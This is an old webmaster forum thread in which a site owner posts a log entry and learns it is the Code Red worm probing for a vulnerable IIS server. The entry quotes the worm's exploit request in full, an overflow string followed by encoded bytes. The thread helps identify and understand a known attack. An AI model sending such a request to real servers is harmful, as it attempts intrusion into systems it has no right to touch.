Welcome to WebmasterWorld Guest from 23.22.46.195

Forum Moderators: DixonJones & mademetop

Strange Visitor

   
5:25 pm on Aug 21, 2001 (gmt 0)

10+ Year Member



Please excuse my ignorance. But what is this that I found in my logs? This has come from many different addresses?

[20/Aug/2001:19:54:22 -0500] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%
u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090
%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003
%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0"
404 287 "-" "-"

Is it supposed to be some kind of hack?

(edited by: NFFC at 5:45 pm (gmt) on Aug. 21, 2001

5:28 pm on Aug 21, 2001 (gmt 0)

WebmasterWorld Senior Member 10+ Year Member



use the seach fuction at the top of this page to search for default.ida

[can we put a return or 2 in that string]

6:00 pm on Aug 21, 2001 (gmt 0)

10+ Year Member



Well now I am glad I said please excuse my ignorance, because I should have know that was the code red virus trying to propagate.
:)
 

Featured Threads

My Threads

Hot Threads This Week

Hot Threads This Month